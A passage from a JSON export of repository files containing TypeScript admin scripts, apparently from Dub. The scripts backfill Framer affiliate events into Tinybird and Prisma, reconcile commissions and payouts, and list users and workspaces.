(${linkToBackfill.linkId})`,\n        );\n        // append to framer_remaining_events_final_final.csv\n        fs.appendFileSync(\n          \"framer_remaining_events_final_final.csv\",\n          Papa.unparse(eventsToBackfill),\n        );\n        resolve();\n      },\n    });\n  });\n}\n\nasync function main() {\n  const linksWithSales = JSON.parse(\n    fs.readFileSync(\"framer_links_with_sales_to_backfill.json\", \"utf-8\"),\n  );\n\n  if (linksWithSales.length === 0) {\n    console.log(\"No more links to process!\");\n    return;\n  }\n\n  // Get the first link to process\n  const linkToProcess = linksWithSales[0];\n\n  if (linkToProcess.linkId) {\n    console.log(\n      `Processing link: ${linkToProcess.via} (${linkToProcess.linkId})`,\n    );\n\n    await processFramerData(linkToProcess);\n  } else {\n    console.log(\"No linkId found for linkToProcess\");\n  }\n\n  // Remove the processed link from the array\n  linksWithSales.shift();\n\n  // Write the updated array back to the file\n  fs.writeFileSync(\n    \"framer_links_with_sales_to_backfill.json\",\n    JSON.stringify(linksWithSales, null, 2),\n  );\n\n  console.log(`Remaining links to process: ${linksWithSales.length}`);\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/framer/2-sort-lead-events-by-date.ts",
    "content": "import \"dotenv-flow/config\";\nimport * as fs from \"fs\";\nimport * as Papa from \"papaparse\";\n\n/*\n  Script to sort framer_remaining_events_final_final.csv\n  by creation date and split by year\n  (script 2 of 3 for Framer backfill)\n*/\n\ntype PayloadItem = {\n  via: string;\n  externalId: string;\n  eventName: string;\n  creationDate: Date;\n};\n\nconst framerRemainingEvents: PayloadItem[] = [];\n\nasync function main() {\n  Papa.parse(\n    fs.createReadStream(\"framer_remaining_events_final_final.csv\", \"utf-8\"),\n    {\n      header: true,\n      skipEmptyLines: true,\n      step: (result: {\n        data: {\n          via: string;\n          externalId: string;\n          eventName: string;\n          creationDate: string;\n        };\n      }) => {\n        framerRemainingEvents.push({\n          ...result.data,\n          creationDate: new Date(result.data.creationDate),\n        });\n      },\n      complete: async () => {\n        const sortedEvents = framerRemainingEvents.sort(\n          (a, b) => a.creationDate.getTime() - b.creationDate.getTime(),\n        );\n        // split by year (2025, 2024, 2023, 2022, etc.)\n        const eventsByYears = sortedEvents.reduce(\n          (acc, event) => {\n            const year = event.creationDate.getFullYear();\n            if (!acc[year]) {\n              acc[year] = [];\n            }\n            acc[year].push(event);\n            return acc;\n          },\n          {} as Record<number, PayloadItem[]>,\n        );\n\n        // write to files\n        Object.entries(eventsByYears).forEach(([year, events]) => {\n          fs.writeFileSync(\n            `framer_remaining_events_final_final_${year}.csv`,\n            Papa.unparse(events),\n          );\n        });\n      },\n    },\n  );\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/framer/3-backfill-tb-events.ts",
    "content": "import { createId } from \"@/lib/api/create-id\";\nimport { generateRandomName } from \"@/lib/names\";\nimport { clickEventSchemaTB } from \"@/lib/zod/schemas/clicks\";\nimport { prisma } from \"@dub/prisma\";\nimport { linkConstructorSimple, nanoid } from \"@dub/utils\";\nimport \"dotenv-flow/config\";\nimport * as fs from \"fs\";\nimport * as Papa from \"papaparse\";\nimport { recordLeadWithTimestamp } from \"../../lib/tinybird/record-lead\";\nimport { recordSaleWithTimestamp } from \"../../lib/tinybird/record-sale\";\n\n/*\n  Script to backfill events in Tinybird\n  (script 3 of 3 for Framer backfill)\n*/\n\ntype PayloadItem = {\n  via: string;\n  externalId: string;\n  eventName: string;\n  creationDate: Date;\n};\n\nlet framerRemainingEvents: PayloadItem[] = [];\n\nconst FRAMER_WORKSPACE_ID = \"xxx\";\nconst DOMAIN = \"framer.link\";\nconst PAGE_NUMBER = 14;\nconst PAGE_SIZE = 2500;\n\nasync function main() {\n  Papa.parse(\n    fs.createReadStream(\n      \"framer_remaining_events_final_final_2024.csv\",\n      \"utf-8\",\n    ),\n    {\n      header: true,\n      skipEmptyLines: true,\n      step: (result: {\n        data: {\n          via: string;\n          externalId: string;\n          eventName: string;\n          creationDate: string;\n        };\n      }) => {\n        framerRemainingEvents.push({\n          ...result.data,\n          creationDate: new Date(result.data.creationDate),\n        });\n      },\n      complete: async () => {\n        const start = PAGE_NUMBER * PAGE_SIZE;\n        const end = (PAGE_NUMBER + 1) * PAGE_SIZE;\n\n        console.log(\n          `Processing PAGE_NUMBER ${PAGE_NUMBER}: events ${start} - ${end} of ${framerRemainingEvents.length}`,\n        );\n\n        framerRemainingEvents = framerRemainingEvents.slice(start, end);\n\n        const links = await prisma.link.findMany({\n          where: {\n            shortLink: {\n              in: framerRemainingEvents.map((p) =>\n                linkConstructorSimple({\n                  domain: DOMAIN,\n                  key: p.via,\n                }),\n              ),\n            },\n          },\n          select: {\n            id: true,\n            key: true,\n            url: true,\n            domain: true,\n            programId: true,\n            partnerId: true,\n          },\n        });\n\n        let validEntries: PayloadItem[] = [];\n        let invalidEntries: (PayloadItem & { error: string })[] = [];\n\n        framerRemainingEvents.map((p) => {\n          if (!links.some((l) => l.key === p.via)) {\n            invalidEntries.push({\n              ...p,\n              error: `Link for via tag ${p.via} not found.`,\n            });\n            return;\n          }\n\n          if (\n            links.some((l) => l.key === p.via && (!l.partnerId || !l.programId))\n          ) {\n            invalidEntries.push({\n              ...p,\n              error: `Link for via tag ${p.via} has no partnerId or programId.`,\n            });\n            return;\n          }\n\n          validEntries.push(p);\n        });\n\n        const linkMap = new Map(links.map((l) => [l.key, l]));\n\n        const workspace = await prisma.project.findUniqueOrThrow({\n          where: {\n            id: FRAMER_WORKSPACE_ID,\n          },\n        });\n\n        const customerData = validEntries.map((p) => {\n          return {\n            id: createId({ prefix: \"cus_\" }),\n            name: generateRandomName(),\n            externalId: p.externalId,\n            projectId: workspace.id,\n            projectConnectId: workspace.stripeConnectId,\n            clickId: nanoid(16),\n            linkId: linkMap.get(p.via)!.id,\n            clickedAt: p.creationDate,\n            createdAt: p.creationDate,\n          };\n        });\n\n        await prisma.customer.createMany({\n          data: customerData,\n          skipDuplicates: true,\n        });\n\n        const finalCustomers = await prisma.customer.findMany({\n          where: {\n            projectId: workspace.id,\n            externalId: {\n              in: customerData.map((c) => c.externalId),\n            },\n          },\n        });\n\n        const customerMap = new Map(\n          finalCustomers.map((c) => [\n            c.externalId,\n            { id: c.id, clickId: c.clickId },\n          ]),\n        );\n\n        const dataArray = validEntries.map((p) => {\n          const link = linkMap.get(p.via)!;\n\n          const clickData = {\n            timestamp: p.creationDate.toISOString(),\n            identity_hash: p.externalId,\n            click_id: customerMap.get(p.externalId)!.clickId,\n            workspace_id: workspace.id,\n            link_id: link.id,\n            domain: link.domain,\n            key: link.key,\n            url: link.url,\n            ip: \"\",\n            continent: \"NA\",\n            country: \"Unknown\",\n            region: \"Unknown\",\n            city: \"Unknown\",\n            latitude: \"Unknown\",\n            longitude: \"Unknown\",\n            vercel_region: \"\",\n            device: \"Desktop\",\n            device_vendor: \"Unknown\",\n            device_model: \"Unknown\",\n            browser: \"Unknown\",\n            browser_version: \"Unknown\",\n            engine: \"Unknown\",\n            engine_version: \"Unknown\",\n            os: \"Unknown\",\n            os_version: \"Unknown\",\n            cpu_architecture: \"Unknown\",\n            ua: \"Unknown\",\n            bot: 0,\n            qr: 0,\n            referer: \"(direct)\",\n            referer_url: \"(direct)\",\n            trigger: \"link\",\n          };\n\n          const clickEvent = clickEventSchemaTB.parse(clickData);\n\n          const leadEventData = {\n            ...clickEvent,\n            event_id: nanoid(16),\n            event_name: p.eventName,\n            customer_id: customerMap.get(p.externalId)!.id,\n            timestamp: p.creationDate.toISOString(),\n          };\n\n          const saleEventId = nanoid(16);\n\n          const saleEventData = {\n            ...clickEvent,\n            event_id: saleEventId,\n            event_name: \"Invoice paid\",\n            amount: 0,\n            customer_id: customerMap.get(p.externalId)!.id,\n            payment_processor: \"stripe\",\n            currency: \"usd\",\n            timestamp: p.creationDate.toISOString(),\n          };\n\n          return {\n            payload: p,\n            linkData: link,\n            clickData,\n            leadEventData,\n            saleEventData,\n          };\n        });\n\n        // console.log(\"clickData\");\n        // console.log(dataArray.map((d) => d.clickData).slice(0, 5));\n\n        // console.log(\"leadEventData\");\n        // console.log(dataArray.map((d) => d.leadEventData).slice(0, 5));\n\n        // console.log(\"saleEventData\");\n        // console.log(dataArray.map((d) => d.saleEventData).slice(0, 5));\n\n        const res = await Promise.all([\n          // Record clicks\n          fetch(\n            `${process.env.TINYBIRD_API_URL}/v0/events?name=dub_click_events&wait=true`,\n            {\n              method: \"POST\",\n              headers: {\n                Authorization: `Bearer ${process.env.TINYBIRD_API_KEY}`,\n                \"Content-Type\": \"application/x-ndjson\",\n              },\n              body: dataArray\n                .map((d) => JSON.stringify(d.clickData))\n                .join(\"\\n\"),\n            },\n          ).then((res) => res.json()),\n\n          // Record leads\n          recordLeadWithTimestamp(dataArray.map((d) => d.leadEventData)),\n\n          // Record sales\n          recordSaleWithTimestamp(dataArray.map((d) => d.saleEventData)),\n        ]);\n\n        console.log(res);\n        console.log(\n          `Also encountered ${invalidEntries.length} invalid entries`,\n        );\n      },\n    },\n  );\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/framer/backfill-commissions.ts",
    "content": "import { createId } from \"@/lib/api/create-id\";\nimport { prisma } from \"@dub/prisma\";\nimport { CommissionStatus, CommissionType } from \"@dub/prisma/client\";\nimport \"dotenv-flow/config\";\nimport * as fs from \"fs\";\nimport * as Papa from \"papaparse\";\n\nconst commissionsToBackfill: {\n  partnerEmail: string;\n  totalCommissionCents: number;\n}[] = [];\n\nconst FRAMER_PROGRAM_ID = \"prog_\";\nconst MONTH_TO_BACKFILL = new Date(\"2025-05-15\");\n\nasync function main() {\n  // First read the sales data\n  Papa.parse(\n    fs.createReadStream(\"framer_backfill_commissions_may.csv\", \"utf-8\"),\n    {\n      header: true,\n      skipEmptyLines: true,\n      step: (result: {\n        data: {\n          partner_email: string;\n          total_commission_cents: string;\n        };\n      }) => {\n        commissionsToBackfill.push({\n          partnerEmail: result.data.partner_email,\n          totalCommissionCents: parseInt(result.data.total_commission_cents),\n        });\n      },\n      complete: async () => {\n        console.log(\n          `Found ${commissionsToBackfill.length} commissions to backfill`,\n        );\n        const partners = await prisma.partner.findMany({\n          where: {\n            email: {\n              in: commissionsToBackfill.map((p) => p.partnerEmail),\n            },\n          },\n        });\n\n        const processedData = commissionsToBackfill\n          .map((p) => {\n            const partner = partners.find((_p) => _p.email === p.partnerEmail);\n            if (!partner) {\n              console.log(`Partner not found: ${p.partnerEmail}`);\n              return null;\n            }\n            return {\n              partnerId: partner.id,\n              ...p,\n            };\n          })\n          .filter((p): p is NonNullable<typeof p> => p !== null);\n\n        const manualCommissions = processedData.map((d) => {\n          return {\n            id: createId({ prefix: \"cm_\" }),\n            programId: FRAMER_PROGRAM_ID,\n            partnerId: d.partnerId,\n            type: CommissionType.custom,\n            amount: 0,\n            quantity: 1,\n            earnings: d.totalCommissionCents,\n            status: CommissionStatus.pending,\n            createdAt: MONTH_TO_BACKFILL,\n            description: `Imported commissions from FirstPromoter (${MONTH_TO_BACKFILL.toLocaleString(\n              \"en-US\",\n              {\n                month: \"long\",\n                year: \"numeric\",\n              },\n            )})`,\n          };\n        });\n\n        console.table(manualCommissions);\n\n        // Add manual commissions to the database\n        await prisma.commission.createMany({\n          data: manualCommissions,\n          skipDuplicates: true,\n        });\n      },\n    },\n  );\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/framer/check-pending-payout-totals.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport \"dotenv-flow/config\";\n\nasync function main() {\n  const payouts = await prisma.payout.findMany({\n    where: {\n      programId: \"prog_xxx\",\n      status: \"pending\",\n    },\n  });\n\n  const commissions = await prisma.commission.groupBy({\n    by: [\"payoutId\"],\n    where: {\n      payoutId: { in: payouts.map((payout) => payout.id) },\n    },\n    _sum: {\n      earnings: true,\n    },\n  });\n\n  // go through each to make sure total === amount, and log each\n  for (const payout of payouts) {\n    const total =\n      commissions.find((commission) => commission.payoutId === payout.id)?._sum\n        .earnings ?? 0;\n\n    if (total !== payout.amount) {\n      console.log(\n        `ALERT: Payout ${payout.id} has a total of ${total} but an amount of ${payout.amount}`,\n      );\n    } else {\n      console.log(\n        `Payout ${payout.id} matches ${total}, ${payout.amount}. skipping...`,\n      );\n    }\n  }\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/framer/get-links-to-backfill.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport \"dotenv-flow/config\";\nimport * as fs from \"fs\";\nimport * as Papa from \"papaparse\";\n\nconst tbLinkData: { link_id: string; sales: number }[] = [];\n\nasync function main() {\n  Papa.parse(fs.createReadStream(\"framer_links_with_sales.csv\", \"utf-8\"), {\n    header: true,\n    skipEmptyLines: true,\n    step: (result: { data: { link_id: string; sales: string } }) => {\n      tbLinkData.push({\n        link_id: result.data.link_id,\n        sales: parseInt(result.data.sales),\n      });\n    },\n    complete: async () => {\n      console.log(`Found ${tbLinkData.length} links with sales in Tinybird`);\n      const prismaLinkData = await prisma.link.findMany({\n        where: {\n          programId: \"prog_xxx\",\n          sales: {\n            gt: 0,\n          },\n        },\n        select: {\n          id: true,\n          key: true,\n          sales: true,\n        },\n        orderBy: {\n          sales: \"desc\",\n        },\n      });\n      console.log(`Found ${prismaLinkData.length} links with sales in Prisma`);\n\n      let linksWithSameSalesCount = 0;\n      const linksWithDifferentSalesCount = prismaLinkData\n        .map((prismaLink) => {\n          const tbLink = tbLinkData.find(\n            (tbLink) => tbLink.link_id === prismaLink.id,\n          );\n          // if the sales count is the roughly the same (within a 10% margin),\n          // if means it was backfilled correctly – don't return the link\n          if (\n            tbLink &&\n            (tbLink.sales === prismaLink.sales ||\n              tbLink.sales / prismaLink.sales < 1.1 ||\n              tbLink.sales / prismaLink.sales > 0.9)\n          ) {\n            linksWithSameSalesCount++;\n            return null;\n          }\n          return {\n            linkId: prismaLink.id,\n            via: prismaLink.key,\n            prismaSales: prismaLink.sales,\n            tbSales: tbLink?.sales || 0,\n          };\n        })\n        .filter(Boolean);\n      console.log(\n        `Found ${linksWithSameSalesCount} links with the same sales count`,\n      );\n      console.log(\n        `Found ${linksWithDifferentSalesCount.length} links with different sales count:`,\n      );\n      console.table(linksWithDifferentSalesCount.slice(0, 100));\n\n      // write to file\n      fs.writeFileSync(\n        \"framer_links_to_backfill.csv\",\n        Papa.unparse(linksWithDifferentSalesCount),\n      );\n    },\n  });\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/framer/get-remaining-links-to-backfill.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport \"dotenv-flow/config\";\nimport * as fs from \"fs\";\nimport * as Papa from \"papaparse\";\n\nconst framerCombinedData: {\n  via: string;\n  externalId: string;\n  eventName: string;\n  creationDate: string;\n}[] = [];\nconst externalIdEventNameSet = new Set<string>();\n\nconst salesData: Record<string, number> = {};\n\nasync function main() {\n  // First read the sales data\n  Papa.parse(fs.createReadStream(\"framer_links_with_sales.csv\", \"utf-8\"), {\n    header: true,\n    skipEmptyLines: true,\n    step: (result: {\n      data: {\n        link_id: string;\n        sales: string;\n      };\n    }) => {\n      salesData[result.data.link_id] = parseInt(result.data.sales);\n    },\n    complete: () => {\n      console.log(\n        `Found ${Object.keys(salesData).length} links with sales data`,\n      );\n      // After sales data is loaded, process the combined data\n      processCombinedData();\n    },\n  });\n}\n\nfunction processCombinedData() {\n  Papa.parse(fs.createReadStream(\"framer_combined.csv\", \"utf-8\"), {\n    header: true,\n    skipEmptyLines: true,\n    step: (result: {\n      data: {\n        via: string;\n        externalId: string;\n        eventName: string;\n        creationDate: string;\n      };\n    }) => {\n      // check if externalId:eventName pair already exists in framerCombinedData\n      if (\n        externalIdEventNameSet.has(\n          `${result.data.externalId}:${result.data.eventName}`,\n        )\n      ) {\n        return;\n      }\n      externalIdEventNameSet.add(\n        `${result.data.externalId}:${result.data.eventName}`,\n      );\n      framerCombinedData.push({\n        via: result.data.via,\n        externalId: result.data.externalId,\n        eventName: result.data.eventName,\n        creationDate: result.data.creationDate,\n      });\n    },\n    complete: async () => {\n      console.log(`Found ${framerCombinedData.length} links in Framer`);\n\n      // convert to via + count\n      const viaCount = framerCombinedData.reduce(\n        (acc, curr) => {\n          acc[curr.via] = (acc[curr.via] || 0) + 1;\n          return acc;\n        },\n        {} as Record<string, number>,\n      );\n\n      // order by count\n      const viaCountArray = Object.entries(viaCount)\n        .map(([via, count]) => ({\n          via,\n          count,\n        }))\n        .sort((a, b) => b.count - a.count);\n\n      const prismaLinks = await prisma.link.findMany({\n        where: {\n          domain: \"framer.link\",\n          key: {\n            in: viaCountArray.map(({ via }) => via),\n          },\n        },\n        select: {\n          id: true,\n          key: true,\n        },\n      });\n\n      const linkIdsWithCount = viaCountArray\n        .map(({ via }) => {\n          const link = prismaLinks.find((link) => link.key === via);\n          const count = viaCount[via];\n          const sales = link ? salesData[link.id] || 0 : 0;\n          if (count === sales) {\n            return null;\n          }\n          return {\n            linkId: link?.id,\n            via,\n            count,\n            recordedSales: sales,\n          };\n        })\n        .filter(Boolean);\n\n      // Sort by sales instead of count\n      linkIdsWithCount.sort(\n        (a, b) => (b?.recordedSales || 0) - (a?.recordedSales || 0),\n      );\n\n      console.log(\n        `Found ${linkIdsWithCount.length} links with sales data that need to be backfilled`,\n      );\n\n      console.table(linkIdsWithCount.slice(0, 100));\n\n      fs.writeFileSync(\n        \"framer_links_with_sales_to_backfill.json\",\n        JSON.stringify(linkIdsWithCount, null, 2),\n      );\n    },\n  });\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/framer/mark-commissions-paid.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport \"dotenv-flow/config\";\nimport * as fs from \"fs\";\nimport * as Papa from \"papaparse\";\n\nlet eventIds: string[] = [];\n\nasync function main() {\n  Papa.parse(fs.createReadStream(\"framer_paid_event_ids.csv\", \"utf-8\"), {\n    header: true,\n    skipEmptyLines: true,\n    step: (result: { data: { event_id: string } }) => {\n      eventIds.push(result.data.event_id);\n    },\n    complete: async () => {\n      const payoutIdsToUpdate = await prisma.commission.groupBy({\n        by: [\"payoutId\"],\n        where: {\n          eventId: { in: eventIds },\n          payoutId: { not: null },\n        },\n        _count: true,\n        orderBy: {\n          _count: {\n            eventId: \"desc\",\n          },\n        },\n      });\n\n      console.log(payoutIdsToUpdate.slice(0, 50));\n\n      for (const payout of payoutIdsToUpdate.slice(0, 50)) {\n        if (!payout.payoutId) {\n          continue;\n        }\n\n        const updateCommissions = await prisma.commission.updateMany({\n          where: {\n            payoutId: payout.payoutId,\n            eventId: { in: eventIds },\n          },\n          data: {\n            status: \"paid\",\n            payoutId: null,\n          },\n        });\n\n        console.log(\n          `Updated ${updateCommissions.count} commissions to have status \"paid\" and payoutId null`,\n        );\n\n        const commissionGroupedByPayout = await prisma.commission.groupBy({\n          by: [\"payoutId\"],\n          where: {\n            payoutId: payout.payoutId,\n          },\n          _sum: {\n            earnings: true,\n          },\n        });\n\n        const finalCommissionAmount =\n          commissionGroupedByPayout.length > 0\n            ? commissionGroupedByPayout[0]._sum.earnings\n            : null;\n\n        if (!finalCommissionAmount) {\n          console.log(\n            `No commission amount found for payout ${payout.payoutId}, deleting payout...`,\n          );\n          await prisma.payout.delete({\n            where: {\n              id: payout.payoutId,\n            },\n          });\n        } else {\n          console.log(\n            `Updating payout ${payout.payoutId} with amount ${finalCommissionAmount}`,\n          );\n          await prisma.payout.update({\n            where: {\n              id: payout.payoutId,\n            },\n            data: {\n              amount: finalCommissionAmount,\n            },\n          });\n        }\n      }\n    },\n  });\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/framer/mark-commissions-pending.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport \"dotenv-flow/config\";\nimport * as fs from \"fs\";\nimport * as Papa from \"papaparse\";\n\nlet eventIds: string[] = [];\n\nasync function main() {\n  Papa.parse(fs.createReadStream(\"framer_pending_event_ids.csv\", \"utf-8\"), {\n    header: true,\n    skipEmptyLines: true,\n    step: (result: { data: { event_id: string } }) => {\n      eventIds.push(result.data.event_id);\n    },\n    complete: async () => {\n      const commissionsToUpdate = await prisma.commission.findMany({\n        where: {\n          eventId: { in: eventIds },\n          status: {\n            not: \"pending\",\n          },\n        },\n        take: 500,\n      });\n\n      const updateCommissions = await prisma.commission.updateMany({\n        where: {\n          id: { in: commissionsToUpdate.map((commission) => commission.id) },\n        },\n        data: {\n          status: \"pending\",\n        },\n      });\n\n      console.log(`Updated ${updateCommissions.count} commissions`);\n    },\n  });\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/framer/process-lead-events.ts",
    "content": "// @ts-nocheck\n\nimport { prisma } from \"@dub/prisma\";\nimport { chunk } from \"@dub/utils\";\nimport \"dotenv-flow/config\";\nimport * as fs from \"fs\";\nimport * as Papa from \"papaparse\";\n\ntype RawDataProps = {\n  event_name: string;\n  timestamp: string;\n  customer_id: string;\n  link_id: string;\n};\n\ntype ProcessedDataProps = {\n  via: string;\n  externalId: string;\n  eventName: string;\n  creationDate: Date;\n};\n\nlet rawData: RawDataProps[] = [];\nlet customerIdsSet = new Set<string>();\nlet linkIdsSet = new Set<string>();\n\nconst BATCH = 7;\nconst FRAMER_WORKSPACE_ID = \"xxx\";\n\nasync function main() {\n  Papa.parse(\n    fs.createReadStream(`get_framer_lead_events_${BATCH}.csv`, \"utf-8\"),\n    {\n      header: true,\n      skipEmptyLines: true,\n      step: (result: { data: RawDataProps }) => {\n        const { customer_id, link_id } = result.data;\n        rawData.push(result.data);\n        linkIdsSet.add(link_id);\n        customerIdsSet.add(customer_id);\n      },\n      complete: async () => {\n        const linkIdsArray = Array.from(linkIdsSet);\n        const customerIdsArray = Array.from(customerIdsSet);\n\n        console.log(\n          `Found ${linkIdsArray.length} links and ${customerIdsArray.length} customers`,\n        );\n\n        const links = await prisma.link.findMany({\n          where: {\n            id: {\n              in: linkIdsArray,\n            },\n            projectId: FRAMER_WORKSPACE_ID,\n          },\n          select: {\n            id: true,\n            key: true,\n          },\n        });\n\n        let customers: { id: string; externalId: string | null }[] = [];\n        const customerIdChunks = chunk(customerIdsArray, 1000);\n        for (const customerIdChunk of customerIdChunks) {\n          const data = await prisma.customer.findMany({\n            where: {\n              id: {\n                in: customerIdChunk,\n              },\n              projectId: FRAMER_WORKSPACE_ID,\n            },\n            select: {\n              id: true,\n              externalId: true,\n            },\n          });\n          customers.push(...data);\n        }\n\n        console.log(`Found ${customers.length} customers`);\n\n        const processedData = rawData\n          .map((data) => {\n            const link = links.find((link) => link.id === data.link_id);\n            const customer = customers.find(\n              (customer) => customer.id === data.customer_id,\n            );\n            if (!link || !customer || !customer.externalId) {\n              return null;\n            }\n            return {\n              via: link.key,\n              externalId: customer.externalId,\n              eventName: data.event_name,\n              creationDate: new Date(data.timestamp),\n            };\n          })\n          .filter((data) => data !== null) satisfies ProcessedDataProps[];\n\n        fs.writeFileSync(\n          `processed_framer_lead_events_${BATCH}.csv`,\n          Papa.unparse(processedData),\n        );\n      },\n    },\n  );\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/framer/tally-commissions.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport { toCentsNumber } from \"@dub/utils\";\nimport \"dotenv-flow/config\";\n\nasync function main() {\n  const programId = \"prog_\";\n\n  const commissions = await prisma.commission.groupBy({\n    by: [\"partnerId\"],\n    where: {\n      earnings: {\n        not: 0,\n      },\n      programId,\n      status: { in: [\"pending\", \"processed\", \"paid\"] },\n    },\n    _sum: {\n      earnings: true,\n    },\n    orderBy: {\n      _sum: {\n        earnings: \"desc\",\n      },\n    },\n  });\n\n  const partners = await prisma.programEnrollment.findMany({\n    where: {\n      programId,\n    },\n  });\n\n  const partnersMap = new Map(\n    partners.map((p) => [p.partnerId, p.totalCommissions]),\n  );\n\n  const commissionsNotMatching = commissions\n    .filter(\n      (c) =>\n        toCentsNumber(partnersMap.get(c.partnerId)) !==\n        toCentsNumber(c._sum.earnings),\n    )\n    .map((c) => ({\n      partnerId: c.partnerId,\n      totalCommissions: partnersMap.get(c.partnerId),\n      actualTotalCommissions: c._sum.earnings,\n    }));\n\n  console.table(commissionsNotMatching);\n\n  await Promise.all(\n    commissionsNotMatching.slice(0, 100).map((c) =>\n      prisma.programEnrollment.update({\n        where: { partnerId_programId: { partnerId: c.partnerId, programId } },\n        data: {\n          totalCommissions: c.actualTotalCommissions || 0,\n        },\n      }),\n    ),\n  );\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/generate-openapi.ts",
    "content": "import { document } from \"@/lib/openapi\";\nimport fs from \"fs\";\nimport path from \"path\";\n\nfs.writeFileSync(path.join(\"openapi.json\"), JSON.stringify(document, null, 2));\n"
  },
  {
    "path": "apps/web/scripts/get-api-users.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport \"dotenv-flow/config\";\n\nasync function main() {\n  const users = await prisma.user.findMany({\n    where: {\n      OR: [\n        {\n          tokens: {\n            some: {},\n          },\n        },\n        {\n          restrictedTokens: {\n            some: {},\n          },\n        },\n      ],\n    },\n  });\n\n  console.log(\n    users\n      .filter((user) => user.email)\n      .map((user) => user.email)\n      .join(\", \"),\n  );\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/get-customers.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport \"dotenv-flow/config\";\n\nasync function main() {\n  const projects = await prisma.project.findMany({\n    where: {\n      plan: \"pro\",\n      stripeId: {\n        not: null,\n      },\n      createdAt: {\n        lt: new Date(\"2024-01-17\"),\n      },\n    },\n    select: {\n      slug: true,\n      plan: true,\n      createdAt: true,\n      users: {\n        select: {\n          user: {\n            select: {\n              email: true,\n            },\n          },\n        },\n        where: {\n          role: \"owner\",\n        },\n      },\n    },\n    orderBy: {\n      createdAt: \"desc\",\n    },\n  });\n  // console.table(\n  //   projects.map((p) => ({\n  //     ...p,\n  //     emails: p.users.map((u) => u.user.email)[0],\n  //   })),\n  //   [\"slug\", \"plan\", \"createdAt\", \"emails\"],\n  // );\n\n  console.log(\n    Array.from(\n      new Set(projects.flatMap((p) => p.users.map((u) => u.user.email))),\n    ).join(\",\"),\n  );\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/get-inactive-users.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport \"dotenv-flow/config\";\n\nasync function main() {\n  const [users, count] = await Promise.all([\n    prisma.user.findMany({\n      where: {\n        projects: {\n          none: {},\n        },\n        links: {\n          none: {},\n        },\n      },\n      select: {\n        email: true,\n        createdAt: true,\n        _count: {\n          select: {\n            projects: true,\n            links: true,\n          },\n        },\n      },\n      orderBy: { createdAt: \"asc\" },\n      take: 100,\n    }),\n    prisma.user.count({\n      where: {\n        projects: {\n          none: {},\n        },\n        links: {\n          none: {},\n        },\n      },\n    }),\n  ]);\n  // log in table format\n  console.table(users);\n  console.log(`Total: ${count}`);\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/get-premium-workspaces.ts",
    "content": "import { normalizeWorkspaceId } from \"@/lib/api/workspaces/workspace-id\";\nimport { prisma } from \"@dub/prisma\";\nimport \"dotenv-flow/config\";\nimport * as fs from \"fs\";\nimport * as Papa from \"papaparse\";\n\nasync function main() {\n  const workspaces = await prisma.project.findMany({\n    where: {\n      NOT: {\n        plan: \"free\",\n      },\n      slug: {\n        notIn: [\"acme\", \"legal\"],\n      },\n      domains: {\n        none: {\n          verified: true,\n        },\n      },\n      links: {\n        some: {\n          domain: \"dub.sh\",\n          createdAt: {\n            gt: new Date(\"2024-02-01\"),\n          },\n        },\n      },\n    },\n    select: {\n      id: true,\n      slug: true,\n    },\n    orderBy: {\n      createdAt: \"asc\",\n    },\n  });\n\n  console.table(workspaces);\n  fs.writeFileSync(\n    \"premium_workspaces.csv\",\n    Papa.unparse(\n      workspaces.map((w) => ({\n        id: normalizeWorkspaceId(w.id),\n        slug: w.slug,\n      })),\n    ),\n  );\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/get-top-domains-for-links.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport { LEGAL_USER_ID, LEGAL_WORKSPACE_ID } from \"@dub/utils\";\nimport \"dotenv-flow/config\";\n\nasync function main() {\n  const topDomains = (await prisma.$queryRaw`\n    SELECT \n      SUBSTRING_INDEX(SUBSTRING_INDEX(REPLACE(REPLACE(url, 'https://', ''), 'http://', ''), '/', 1), '?', 1) as domain,\n      COUNT(*) as count\n    FROM Link\n    WHERE \n      projectId IS NOT NULL \n      AND projectId != ${LEGAL_WORKSPACE_ID}\n      AND userId IS NOT NULL\n      AND userId != ${LEGAL_USER_ID}\n      AND url NOT LIKE 'https%3A%2F%2F%'\n    GROUP BY SUBSTRING_INDEX(SUBSTRING_INDEX(REPLACE(REPLACE(url, 'https://', ''), 'http://', ''), '/', 1), '?', 1)\n    HAVING count >= 5\n    ORDER BY count DESC\n  `) as { domain: string; count: number }[];\n\n  console.log(`Found ${topDomains.length} top domains`);\n  console.table(topDomains);\n  console.log(`\"${topDomains.map(({ domain }) => domain).join('\", \"')}\"`);\n\n  await prisma.$disconnect();\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/get-top-links-for-workspace.ts",
